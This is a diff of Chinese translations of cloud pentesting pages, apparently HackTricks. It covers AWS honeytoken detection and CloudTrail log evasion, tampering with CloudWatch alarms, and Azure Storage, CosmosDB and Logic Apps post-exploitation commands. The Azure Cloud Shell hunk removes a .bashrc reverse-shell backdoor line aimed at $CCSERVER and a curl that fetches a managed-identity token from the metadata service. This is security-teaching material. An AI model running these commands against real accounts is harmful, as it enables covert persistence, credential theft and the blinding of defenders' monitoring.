[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) 有一些规则来检测密钥是否属于 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
- 如果 **`canarytokens.org`** 出现在角色名称中,或者账户 ID **`534261010715`** 出现在错误消息中。
- 最近测试时,他们使用的账户是 **`717712589309`**,并且名称中仍然包含 **`canarytokens.com`** 字符串。
- 如果 **`SpaceCrab`** 出现在角色名称的错误消息中
- 如果 **`SpaceCrab`** 出现在错误消息中的角色名称
- **SpaceSiren** 使用 **uuids** 生成用户名:`[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- 如果 **名称看起来像是随机生成的**,则很有可能是 HoneyToken。
@@ -191,20 +191,20 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J
#### 没有日志的 AWS 服务
过去有一些 **AWS 服务不会将日志发送到 CloudTrail**(在这里找到 [列表](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))。其中一些服务 **响应** 一个 **错误**,其中包含 **密钥角色的 ARN**,如果有人未经授权(即 Honeytoken 密钥)尝试访问它。
过去有一些 **AWS 服务不会将日志发送到 CloudTrail**(在这里找到 [列表](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))。其中一些服务 **响应** 一个 **错误**,其中包含 **密钥角色的 ARN**,如果有人未经授权(即 Honeytoken 密钥)尝试访问它。
这样,**攻击者可以在不触发任何日志的情况下获取密钥的 ARN**。在 ARN 中,攻击者可以看到 **AWS 账户 ID 和名称**,很容易知道 HoneyToken 的公司账户 ID 和名称,因此攻击者可以识别该令牌是否是 HoneyToken。
![](<../../../../images/image (93).png>)
> [!CAUTION]
> 请注意,所有已发现不创建 CloudTrail 日志的公共 API 现在已修复,因此您可能需要自己寻找...
> 请注意,所有已发现不创建 CloudTrail 日志的公共 API 现在已修复,因此您可能需要自己寻找...
>
> 有关更多信息,请查看 [**原始研究**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)。
### 访问第三方基础设施
某些 AWS 服务将 **生成一些基础设施**,例如 **数据库****Kubernetes** 集群EKS。用户 **直接与这些服务交互**(如 Kubernetes API **不会使用 AWS API**,因此 CloudTrail 无法看到此通信。
某些 AWS 服务将 **生成一些基础设施**,例如 **数据库****Kubernetes** 集群EKS。用户 **直接与这些服务交互**(如 Kubernetes API **不会使用 AWS API**,因此 CloudTrail 无法看到此通信。
因此,具有 EKS 访问权限的用户如果发现 EKS API 的 URL可以在本地生成一个令牌**直接与 API 服务交谈而不被 Cloudtrail 检测到**
@@ -244,11 +244,11 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
```bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
```
### 修改桶配置
### 修改存储桶配置
- 删除 S3 桶
- 更改桶策略以拒绝来自 CloudTrail 服务的任何写入
- 向 S3 桶添加生命周期策略以删除对象
- 删除 S3 存储
- 更改存储桶策略以拒绝来自 CloudTrail 服务的任何写入
- 向 S3 存储桶添加生命周期策略以删除对象
- 禁用用于加密 CloudTrail 日志的 kms 密钥
### Cloudtrail 勒索软件

View File

@@ -15,7 +15,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
- IAM 和 S3 中安全策略的更改
- 对 AWS 管理控制台的登录失败尝试
- 导致授权失败的 API 调用
-cloudwatch 中搜索的过滤器: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
-CloudWatch 中搜索的过滤器: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
## 关键概念
@@ -37,9 +37,9 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
- **示例**:对于 EC2 实例,维度可能包括 InstanceId、InstanceType 和 AvailabilityZone。
### 统计
### 统计信息
统计是对指标数据进行的数学计算,以总结其随时间的变化。常见的统计包括平均值、总和、最小值、最大值和样本计数。
统计信息是对指标数据进行的数学计算,以便在一段时间内对其进行总结。常见的统计信息包括平均值、总和、最小值、最大值和样本计数。
- **示例**:计算一小时内的平均 CPU 利用率。
@@ -53,7 +53,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
### 仪表板
**CloudWatch 仪表板** 提供可自定义的 **AWS CloudWatch 指标视图**。可以创建和配置仪表板,以在单一视图中可视化数据并监控资源,结合来自各种 AWS 服务的不同指标。
**CloudWatch 仪表板** 提供可自定义的 **AWS CloudWatch 指标视图**。可以创建和配置仪表板以可视化数据并在单一视图中监控资源,结合来自各种 AWS 服务的不同指标。
**关键特性**
@@ -68,7 +68,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
**指标流** 在 AWS CloudWatch 中使您能够近乎实时地持续流式传输 CloudWatch 指标到您选择的目标。这对于使用 AWS 之外的工具进行高级监控、分析和自定义仪表板特别有用。
**指标数据** 在指标流中指的是正在流式传输的实际测量或数据点。这些数据点代表 AWS 资源的各种指标,如 CPU 利用率、内存使用
**指标数据** 在指标流中指的是正在流式传输的实际测量或数据点。这些数据点代表各种指标,如 CPU 利用率、内存使用情况等,针对 AWS 资源
**示例用例**
@@ -83,7 +83,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
- **阈值**:触发警报的值。
- **评估周期**:评估数据的周期数。
- **触发警报的数据点**触发警报所需的达到阈值的周期数。
- **触发警报的数据点**需要达到阈值的周期数以触发警报
- **操作**:当警报状态被触发时发生的事情(例如,通过 SNS 通知)。
**示例用例**
@@ -92,7 +92,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
### 异常检测器
**异常检测器** 使用机器学习自动检测您的指标中的异常。您可以将异常检测应用于任何 CloudWatch 指标,以识别可能指示问题的正常模式的偏差。
**异常检测器** 使用机器学习自动检测您的指标中的异常。您可以将异常检测应用于任何 CloudWatch 指标,以识别可能表明问题的正常模式的偏差。
**关键组件**
@@ -111,29 +111,29 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
**示例用例**
- 监控 RDS 性能:启用一个针对 Amazon RDS 的托管洞察规则,监控关键性能指标,如 CPU 利用率、内存使用和磁盘 I/O。如果这些指标中的任何一个超过安全操作阈值该规则可以触发警报或自动缓解措施。
- 监控 RDS 性能:启用一个针对 Amazon RDS 的托管洞察规则,监控关键性能指标,如 CPU 利用率、内存使用情况和磁盘 I/O。如果这些指标中的任何一个超过安全操作阈值该规则可以触发警报或自动缓解措施。
### CloudWatch 日志 <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
允许 **聚合和监控来自应用程序** 和系统的日志,来自 **AWS 服务**(包括 CloudTrail**来自应用程序/系统****CloudWatch Agent** 可以安装在主机上)。日志可以 **无限期存储**(取决于日志组设置)并可以导出。
**元素**
| **日志组** | 一组 **共享相同保留、监控和访问控制设置的日志流** |
| 术语 | 定义 |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **日志组** | 一组 **共享相同保留、监控和访问控制设置的日志流** |
| **日志流** | 一系列 **共享相同来源的日志事件** |
| **订阅过滤器** | 定义一个 **匹配特定日志组中事件的过滤模式**,将其发送到 Kinesis Data Firehose 流、Kinesis 流或 Lambda 函数 |
### CloudWatch 监控与事件
CloudWatch **基本****5 分钟** 聚合数据(**详细** 每 **1 分钟** 聚合一次)。在聚合后,它 **检查警报的阈值**,以确定是否需要触发一个。\
在这种情况下CloudWatch 可以准备发送事件并执行一些自动操作AWS lambda 函数、SNS 主题、SQS 队列、Kinesis 流)。
CloudWatch **基本** 每 5 分钟聚合数据(**详细** 每 1 分钟聚合一次)。在聚合后,它 **检查警报的阈值**,以需要触发一个。\
在这种情况下CloudWatch 可以准备发送事件并执行一些自动操作AWS Lambda 函数、SNS 主题、SQS 队列、Kinesis 流)。
### 代理安装
您可以在机器/容器内部安装代理,以自动将日志发送回 CloudWatch。
- **创建** 一个 **角色****附加**具有允许 CloudWatch 从实例收集数据的权限的 **实例**,并与 AWS 系统管理器 SSM 交互CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM
- **创建** 一个 **角色****附加****实例**,赋予 CloudWatch 收集实例数据的权限,并与 AWS 系统管理器 SSM 交互CloudWatchAgentAdminPolicy AmazonEC2RoleforSSM
- **下载** 并 **安装** **代理** 到 EC2 实例上 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip))。您可以从 EC2 内部下载,或使用 AWS 系统管理器自动安装,选择包 AWS-ConfigureAWSPackage
- **配置** 并 **启动** CloudWatch Agent
@@ -212,13 +212,13 @@ aws events describe-event-source --name <name>aws events list-replays
aws events list-api-destinations
aws events list-event-buses
```
## 后期利用 / 绕过
## Post-Exploitation / Bypass
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
拥有这些权限的攻击者可能会严重削弱组织的监控和警报基础设施。通过删除现有警报,攻击者可以禁用通知管理员关键性能问题、安全漏洞或操作故障的重要警报。此外,通过创建或修改指标警报,攻击者还可以用虚假警报误导管理员或使合法警报失效,有效掩盖恶意活动并阻止对实际事件的及时响应。
拥有这些权限的攻击者可能会严重削弱组织的监控和警报基础设施。通过删除现有警报,攻击者可以禁用通知管理员关键性能问题、安全漏洞或操作故障的重要警报。此外,通过创建或修改指标警报,攻击者还可以用虚假警报误导管理员或静音合法警报,有效掩盖恶意活动并阻止对实际事件的及时响应。
此外,拥有 **`cloudwatch:PutCompositeAlarm`** 权限的攻击者将能够创建一个复合警报的循环或周期,其中复合警报 A 依赖于复合警报 B而复合警报 B 也依赖于复合警报 A。在这种情况下无法删除任何属于该循环的复合警报因为总是还有一个依赖于您想要删除的警报的复合警报
此外,拥有 **`cloudwatch:PutCompositeAlarm`** 权限的攻击者将能够创建一个复合警报的循环或周期,其中复合警报 A 依赖于复合警报 B而复合警报 B 也依赖于复合警报 A。在这种情况下无法删除任何属于该循环的复合警报因为总是还有一个复合警报依赖于您想要删除的警报。
```bash
aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
aws cloudwatch delete-alarms --alarm-names <value>
@@ -226,8 +226,8 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
```
以下示例展示了如何使指标警报失效:
- 此指标警报监控特定 EC2 实例的平均 CPU 利用率,每 300 秒评估一次指标,并需要 6 个评估周期(总共 30 分钟)。如果平均 CPU 利用率在这 6 个周期中至少有 4 个超过 60%,则警报将触发并向指定的 SNS 主题发送通知。
- 通过将阈值修改为超过 99%,将周期设置为 10 秒,将评估周期设置为 8640因为 8640 个 10 秒的周期等于 1 天),并将报警的数据点设置为 8640CPU 利用率必须在整个 24 小时内每 10 秒超过 99% 才能触发警报。
- 此指标警报监控特定 EC2 实例的平均 CPU 利用率,每 300 秒评估一次指标,并需要 6 个评估周期(总共 30 分钟)。如果平均 CPU 利用率在这 6 个周期中至少有 4 个周期超过 60%,则警报将触发并向指定的 SNS 主题发送通知。
- 通过将阈值修改为超过 99%,将周期设置为 10 秒,将评估周期设置为 8640因为 8640 个 10 秒的周期等于 1 天),并将数据点设置为警报也为 8640CPU 利用率在整个 24 小时内每 10 秒超过 99% 才能触发警报。
{{#tabs }}
{{#tab name="Original Metric Alarm" }}
@@ -279,7 +279,7 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
{{#endtab }}
{{#endtabs }}
**潜在影响**:缺乏对关键事件的通知,可能存在未被检测的问题,虚假警报,抑制真实警报,可能错过对真实事件的检测。
**潜在影响**:缺乏对关键事件的通知,可能未被检测的问题,虚假警报,抑制真实警报,可能错过对真实事件的检测。
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`**
@@ -287,17 +287,17 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
此外,拥有权限的攻击者可以操纵警报状态,能够创建虚假警报以分散和混淆管理员,或静音真实警报以掩盖正在进行的恶意活动或关键系统故障。
- 如果您在复合警报上使用 **`SetAlarmState`**,则复合警报不保证返回其实际状态。只有在其子警报状态发生变化时,它才会返回其实际状态。如果您更新其配置,它也会被重新评估。
- 如果您在复合警报上使用 **`SetAlarmState`**,则复合警报不保证返回其实际状态。只有在其子警报状态发生变化时,它才会返回其实际状态。如果您更新其配置,它也会被重新评估。
```bash
aws cloudwatch disable-alarm-actions --alarm-names <value>
aws cloudwatch enable-alarm-actions --alarm-names <value>
aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM | INSUFFICIENT_DATA> --state-reason <value> [--state-reason-data <value>]
```
**潜在影响**:缺乏对关键事件的通知,可能未被检测到的问题,错误警报,抑制真实警报,可能错过对真实事件的检测。
**潜在影响**:缺乏对关键事件的通知,可能未被检测到的问题,虚假警报,抑制真实警报,可能错过对真实事件的检测。
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
攻击者将能够破坏检测和响应指标数据中异常模式或异常的能力。通过删除现有的异常检测器,攻击者可以禁用关键的警报机制;通过创建或修改它们,攻击者能够错误配置或制造报,以分散或压倒监控。
攻击者将能够破坏检测和响应指标数据中异常模式或异常的能力。通过删除现有的异常检测器,攻击者可以禁用关键的警报机制;通过创建或修改它们,攻击者能够错误配置或制造虚假警报,以分散或压倒监控。
```bash
aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
@@ -355,7 +355,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <val
### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`**
攻击者可以通过创建、修改或删除仪表板来破坏组织的监控和可视化能力。这些权限可以被利用来移除对系统性能和健康的关键可见性,修改仪表板以显示不正确的数据或隐藏恶意活动。
攻击者将能够通过创建、修改或删除仪表板来破坏组织的监控和可视化能力。这些权限可以被利用来移除对系统性能和健康的关键可见性,修改仪表板以显示不正确的数据或隐藏恶意活动。
```bash
aws cloudwatch delete-dashboards --dashboard-names <value>
aws cloudwatch put-dashboard --dashboard-name <value> --dashboard-body <value>
@@ -370,11 +370,11 @@ aws cloudwatch delete-insight-rules --rule-names <value>
aws cloudwatch put-insight-rule --rule-name <value> --rule-definition <value> [--rule-state <value>]
aws cloudwatch put-managed-insight-rules --managed-rules <value>
```
**潜在影响**:难以检测和响应性能问题和异常,错误的信息决策,可能掩盖恶意活动或系统故障。
**潜在影响**:难以检测和响应性能问题和异常,错误的决策以及可能掩盖恶意活动或系统故障。
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
通过禁用关键的洞察规则,攻击者可以有效地使组织对关键性能和安全指标失去警觉。相反,通过启用或配置误导性规则,可能会生成虚假数据,制造噪音,或掩盖恶意活动。
通过禁用关键的洞察规则,攻击者可以有效地使组织对关键性能和安全指标失去警觉。相反,通过启用或配置误导性规则,可能会生成虚假数据,制造噪音,或隐藏恶意活动。
```bash
aws cloudwatch disable-insight-rules --rule-names <value>
aws cloudwatch enable-insight-rules --rule-names <value>
@@ -385,7 +385,7 @@ aws cloudwatch enable-insight-rules --rule-names <value>
拥有 **`cloudwatch:DeleteMetricStream`** 和 **`cloudwatch:PutMetricStream`** 权限的攻击者将能够创建和删除指标数据流,从而危害安全性、监控和数据完整性:
- **创建恶意流**:创建指标流将敏感数据发送到未经授权的目的地。
- **创建恶意流**:创建指标流将敏感数据发送到未经授权的目的地。
- **资源操控**:创建具有过多数据的新指标流可能会产生大量噪音,导致错误警报,掩盖真实问题。
- **监控中断**:删除指标流,攻击者将中断监控数据的持续流动。这样,他们的恶意活动将有效隐藏。

View File

@@ -6,25 +6,17 @@
Azure Cloud Shell 提供命令行访问以管理 Azure 资源,具有持久存储和自动身份验证。攻击者可以通过在持久主目录中放置后门来利用这一点:
* **持久存储**Azure Cloud Shell 的主目录挂载在 Azure 文件共享上,即使会话结束也保持不变
* **启动脚本**:像 .bashrc 这样的文件在每个会话开始时自动执行,允许在云 shell 启动时进行持久执行。
* **持久存储**Azure Cloud Shell 的主目录挂载在 Azure 文件共享上,即使会话结束也保持完整
* **启动脚本**:像 .bashrc 这样的文件在每个会话开始时自动执行,从而在云 shell 启动时实现持久执行。
Example backdoor in .bashrc:
{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
{% endcode %}
这个后门可以在用户完成云 shell 后的 5 分钟内执行命令。
此外,查询 Azure 的元数据服务以获取实例详细信息和令牌:
{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## 存储权限提升
## Storage Privesc
有关存储的更多信息,请查看:
@@ -10,7 +10,7 @@
../az-services/az-storage.md
{{#endref}}
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
具有此权限的主体将能够**列出**容器内的 blob文件并**下载**可能包含**敏感信息**的文件。
```bash
@@ -24,7 +24,7 @@ az storage blob download \
--container-name <container-name> \
-n file.txt --auth-mode login
```
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
具有此权限的主体将能够**在容器中写入和覆盖文件**,这可能使他造成一些损害甚至提升权限(例如,覆盖存储在 blob 中的某些代码):
```bash
@@ -36,6 +36,6 @@ az storage blob upload \
```
### \*/delete
这将允许删除存储帐户中的对象,这可能会**中断某些服务**或使客户端**丢失有价值的信息**。
这将允许删除存储帐户中的对象,这可能会**中断某些服务**或使客户端**丢失重要信息**。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -5,27 +5,21 @@
## CosmosDB 后期利用
有关 SQL 数据库的更多信息,请查看:
{% content-ref url="../az-services/az-cosmosDB.md" %}
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-cosmosDB.md
{{#endref}}
### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
拥有此权限,您可以创建或更新 Azure Cosmos DB 账户。这包括修改账户级别设置、添加或删除区域、改变一致性级别,以及启用或禁用多区域写入等功能。
{% code overflow="wrap" %}
```bash
az cosmosdb update \
--name <account_name> \
--resource-group <resource_group_name> \
--public-network-access ENABLED
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
拥有此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库中创建或修改容器(集合)。容器用于存储数据,对它们的更改可能会影响数据库的结构和访问模式。
{% code overflow="wrap" %}
```bash
# Create
az cosmosdb sql container create \
@@ -43,25 +37,17 @@ az cosmosdb sql container update \
--name <container_name> \
--ttl 3600
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建或修改 SQL 数据库。这允许管理数据库结构并向帐户添加新数据库。虽然此权限使数据库创建成为可能,但不当或未经授权的使用可能导致不必要的资源消耗、成本增加或操作效率低下。
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建或修改 SQL 数据库。这允许管理数据库结构并向帐户添加新数据库。虽然此权限允许创建数据库,但不当或未经授权的使用可能导致不必要的资源消耗、成本增加或操作效率低下。
```bash
az cosmosdb sql database create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--name <database_name>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
通过此权限,您可以更改 Azure Cosmos DB 数据库帐户的区域故障转移优先级。此操作确定在故障转移事件中,区域成为主区域的顺序。错误使用此权限可能会干扰数据库的高可用性或导致意外的操作影响。
{% code overflow="wrap" %}
```bash
az cosmosdb failover-priority-change \
--name <database_account_name> \
@@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \
--failover-policies <region1=priority1> <region2=priority2>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
通过此权限,您可以为 Azure Cosmos DB 帐户重新生成主密钥或辅助密钥。这通常用于通过替换旧密钥来增强安全性,但可能会干扰依赖当前密钥的服务或应用程序的访问。
{% code overflow="wrap" %}
```bash
az cosmosdb keys regenerate \
--name <account_name> \
@@ -82,13 +64,9 @@ az cosmosdb keys regenerate \
--key-kind <primary|secondary>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
通过此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改触发器。触发器允许您在响应操作时执行服务器端逻辑。
{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name <account_name> \
@@ -100,12 +78,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
通过此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改存储过程。Cosmos DB 中的存储过程是服务器端的 JavaScript 函数,允许您封装处理数据或直接在数据库中执行操作的逻辑。
{% code overflow="wrap" %}
```bash
az cosmosdb sql stored-procedure create \
--account-name <account_name> \
@@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \
--name <stored_procedure_name> \
--body 'function sample() { return "Hello, Cosmos!"; }'
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
通过此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改触发器。触发器允许您在插入、更新或删除等操作时执行服务器端逻辑。
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
拥有此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改触发器。触发器允许您在插入、更新或删除等操作发生时执行服务器端逻辑。
```bash
az cosmosdb sql trigger create \
--account-name <account_name> \
@@ -132,12 +102,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
通过此权限,您可以在 Azure Cosmos DB 帐户中的 MongoDB 数据库内创建或修改集合。集合用于存储文档并定义数据的结构和分区。
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write`
拥有此权限,您可以在 Azure Cosmos DB 帐户中的 MongoDB 数据库内创建或修改集合。集合用于存储文档并定义数据的结构和分区。
```bash
az cosmosdb mongodb collection create \
--account-name <account_name> \
@@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \
--database-name <mongodb_database_name> \
--name <collection_name>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 数据库。这允许为存储和管理集合及文档提供新的数据库。
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 数据库。这允许配置新的数据库以存储和管理集合和文档。
```bash
az cosmosdb mongodb database create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--name <database_name>
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 角色定义。这允许为 MongoDB 用户定义具有特定权限的自定义角色。
{% code overflow="wrap" %}
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
@@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \
"Roles": []
}'
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 用户定义。这允许为 MongoDB 数据库提供具有特定角色和访问级别的用户。
{% code overflow="wrap" %}
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
通过此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 用户定义。这允许为 MongoDB 数据库配置具有特定角色和访问级别的用户。
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
@@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \
]
}'
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -10,7 +10,7 @@
../az-services/az-file-shares.md
{{#endref}}
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
具有此权限的主体将能够**列出**文件共享中的文件并**下载**可能包含**敏感信息**的文件。
```bash
@@ -28,9 +28,9 @@ az storage file download \
--dest /path/to/down \
--auth-mode login --enable-file-backup-request-intent
```
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
有此权限的主体将能够**在文件共享中写入和覆盖文件**,这可能使他造成一些损害甚至提升权限(例如,覆盖存储在文件共享中的某些代码):
有此权限的主体将能够**在文件共享中写入和覆盖文件**,这可能使他造成一些损害甚至提升权限(例如,覆盖存储在文件共享中的某些代码):
```bash
az storage blob upload \
--account-name <acc-name> \

View File

@@ -1,18 +1,16 @@
# Az - Logic Apps 后期利用
# Az - Logic Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Logic Apps 数据库后期利用
有关逻辑应用的更多信息,请查看:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-logic-apps.md
{{#endref}}
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
拥有这些权限,您可以修改 Logic App 工作流并管理其身份。具体来说,您可以将系统分配和用户分配的托管身份分配或移除到工作流,这使得 Logic App 能够在没有显式凭据的情况下进行身份验证并访问其他 Azure 资源。
{% code overflow="wrap" %}
### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
